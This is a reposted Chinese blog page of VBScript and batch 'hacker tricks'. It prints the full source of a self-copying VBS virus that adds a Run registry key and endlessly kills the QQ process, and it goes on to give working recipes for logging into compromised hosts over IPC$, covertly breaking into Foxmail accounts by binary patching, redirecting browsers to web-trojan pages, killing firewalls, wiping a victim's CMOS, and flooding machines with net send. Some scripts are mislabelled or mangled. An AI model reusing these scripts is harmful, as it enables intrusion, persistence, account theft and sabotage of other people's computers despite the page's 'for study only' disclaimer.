zoukankan      html  css  js  c++  java
  • VBS妙用,进程控制 转自网络

    VBS(Visual Basic Script)作为一种简单而强大的脚本语言,在现代Windows操作系统中日益发挥重要的作用。我记得在读大学的时候,著名的Melissa(梅丽莎)和“I love you”病毒就是由VBS编写的,恶作剧般的“万花谷”网页病毒也包含了大量的VBS代码。它像一把双刃剑,既是我们日常操作管理的得力助手,也是一个可怕的无处不在的杀手。

    病毒代码一般短小精悍,深入分析它对于提高编程水平是十分有助益的。下面我将通过分析一个具有禁止QQ运行功能的VBS病毒程序代码向你演示病毒的生与死。

    一、程序源码分析:

    '------------------------------------------------------------------------------------------

    '本程序仅供学习研究VBS编程使用,严禁用于非法目的,请遵守国家计算机相关法律

    '把应用程序名称改成其他应用程序,在启动时便能禁止相关程序的运行

    '本程序适用于基于NT内核的操作系统,如:Windows NT4.0、win2K、WindowsXP等

    '------------------------------------------------------------------------------------------

    'VIRUS CODE STARTS HERE

    '------------------------------------------------------------------------------------------

    '容错控制,防止发生异常抛出而导致程序崩溃

    On Error Resume Next

    '创建文件系统对象

    Set fso=CreateObject("Scripting.FileSystemObject")

    '获得系统文件夹

    Set sysdir=fso.GetSpecialFolder(1)

    Set filespec=sysdir&"\hlx0Q.vbs"

    '创建Windows脚本壳对象

    Set ws=CreateObject("Wscript.Shell")

    '将病毒文件拷贝到系统文件夹下并改名

    fso.GetFile(WScript.ScriptFullName).Copy(filespec)

    '写注册表,设置启动时自动加载项

    ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hlx0Q","hlx0Q.vbs"

    '获得QQ服务进程,您可以通过按“Ctrl+Alt+Del”查看进程列表,获得进程映像名称

    do

        '表示本地主机

        strComputer = "."

        '获得进程名

        strWQL="Select * from Win32_Process Where Name = 'qq.exe'"

        '获得VMI对象

        Set objWMIService = GetObject("winmgmts:" _

        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

        Set colProcessList = objWMIService.ExecQuery(strWQL)

        '在进程列表中枚举目标进程,一旦发现便中断它运行

        For Each objProcess in colProcessList

            objProcess.Terminate()

        Next

    loop

    '注销对象

    Set fso=Nothing

    Set sysdir=Nothing

    Set ws=Nothing

    Set filename=Nothing

    Set objWMIService=Nothing

    Set objProcess=Nothing

    '---------------------------------------------------------------------------

    'VIRUS CODE ENDS HERE

    '----------------------------------------------------------------------------

    小黑客厚道学:掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。

    1、简化CMD下用IPC$登录肉鸡的操作

    用记事本建立一个名为login.bat文件,代码如下:

    @net use \\%1\ipc$ %3 /u:"%2"

    @echo OK!连接已经建立成功!

    使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。

    2、进入Foxmail账户有妙招

    在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击“确定”开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。

    3、利用vbs脚本判断对方的IE版本

    我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。

    打开记事本,输入如下内容:

    “〈SCRIPT language=vbscript〉

    if Instr(window.navigator.appversion,"MSIE 6.0")>0 then

    alert("浏 览 器:Internet Explorer 6.0")

    window.location.href="http://IE6.0 网页木马页面"

    else

    alert("浏 览 器:6.0版本以下")

    window.location.href="http://IE6.0以下版网页木马页面"

    end if

    〈/SCRIPT〉”

    这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。

    4、肉鸡的ipc$打不开该怎么办

    有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。

    5、用vbs脚本结束进程

    先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下:

    On Error Resume Next

    strComputer="."Set objWMIService = GetObject("winmgmts:" _

    && "{impersonationLevel=impersonate}!\\" && strComputer && "\root\cimv2")Set colProcessList

    =objWMIService.ExecQuery _

    ("Select * from Win32_Process Where Name=''*.exe''")For Each objProcess in colProcessList

    objProcess.Terminate()Next

    其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。

    6、利用批处理清除对方的CMOS内容

    如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容:

    Const ForAppending=8

    Dim fso,x,y

    Set fso=CreateObject("Scripting.FileSystemObject")

    Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)

    Set y=fso.CreateTextFile("c:\1.txt", True)

    x.WriteBlankLines(1)

    x.Write"debug<1.txt"

    x.WriteBlankLines(1)

    y.WriteLine("o 70 10")

    y.WriteBlankLines(1)

    y.Write("o 71 10")

    y.Close

    x.Close

    把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他下次开机时调用debug清除掉CMOS设置,包括CMOS密码。其实,这与大家常用的清除CMOS密码的方法很相象,通常情况下清除CMOS密码的方法是在DOS状态下输入debug,回车之后输入如下命令即可手工清除密码:

    -o 70 10

    -o 71 01

    -q

    7、利用批处理轰炸对方电脑

    这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容:

    @echo 正在轰炸中……

    :start

    @net send %1 %2

    @if errorlevel 1 goto over

    goto start

    ver

    @echo 发送失败

    将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。

    8、戏弄非法用户

    为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令:

    @echo off

    echo non-system disk or disk error

    choice/c:&&/n

    上面代码中的“&&”为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”,接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入“&&”即可。

    9、我的电脑你别用

    如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。

    方法是:进入MS-DOS方式或CMD窗口下,输入:copy con null.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示“1 file(s) copied”,这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入“我的电脑”中,点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它,然后右键单击该文件,在弹出菜单中选择“用记事本打开”,接下来在config.sys文件中加入:device=c:\null.sys /d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了。

  • 相关阅读:
    小程序本地数据的存储
    cocos2d-x中CCTableView介绍
    C++中map容器的说明和使用技巧
    不修改代码,关闭vs2010 C4819警告
    Cocos2d-x 处理双击事件的两种方法
    Cocos2d-x 实现模态对话框
    Cocos2d-x init() 和 onEnter() 区别
    Cocos2d-x 中 CCProgressTimer
    Cocos2d-x 实现技能冷却效果
    输出第 n 个斐波纳契数(Fibonacci)
  • 原文地址:https://www.cnblogs.com/ryhan/p/2107588.html
Copyright © 2011-2022 走看看